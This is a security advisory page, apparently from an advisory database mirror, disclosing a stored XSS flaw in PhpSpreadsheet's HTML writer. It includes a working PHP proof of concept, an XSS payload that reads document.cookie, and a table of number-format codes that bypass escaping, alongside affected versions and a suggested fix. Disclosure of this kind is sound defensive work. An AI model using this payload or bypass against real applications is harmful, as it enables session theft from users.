PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer
It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.
The Problem
In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():
if ($cellData === $origData) {
$cellData = htmlspecialchars($cellData, ...);
}When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.
Even a single trailing space in the format (@ ) is enough to bypass the escape.
Proof of Concept
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');
$writer = new Html($spreadsheet);
$writer->save('output.html');The generated HTML contains:
<td>. <img src=x onerror=alert(document.cookie)></td>The XSS payload is completely unescaped.
Tested Bypass Formats
| Format Code | Result | Escaped? |
|---|---|---|
General (default) |
Original value | YES (safe) |
. @ |
. + value |
NO (XSS!) |
@ (trailing space) |
value + |
NO (XSS!) |
x@ |
x + value |
NO (XSS!) |
This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.
Impact
Any application that:
- Accepts uploaded XLSX files from users
- Converts them to HTML using PhpSpreadsheet's HTML writer
- Displays the HTML to other users
...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.
Suggested Fix
Always apply htmlspecialchars() regardless of whether formatting changed the value:
// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');Or escape AFTER formatting, not conditionally based on equality.
Reporter
Keyvan Hardani
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | phpoffice/phpspreadsheet | >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 | 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N- Debilidad (CWE)
CWE-79- Plataforma
- Composer
- Paquete
phpoffice/phpspreadsheet- Publicada
- 28.04.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-hrmw-qprp-wgmc - CC BY 4.0
Historial de vulnerabilidades: phpoffice/phpspreadsheet
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 31
- Primera → última
- 11.2019 07.2026
- Sin corrección
- 0
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- 0
Distribución por gravedad
- Crítica 2
- Alta 17
- Media 12
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- 2019: 2
- 2020: 0
- 2021: 1
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- 2024: 9
- 2025: 10
- 2026: 9
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PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer esta entrada
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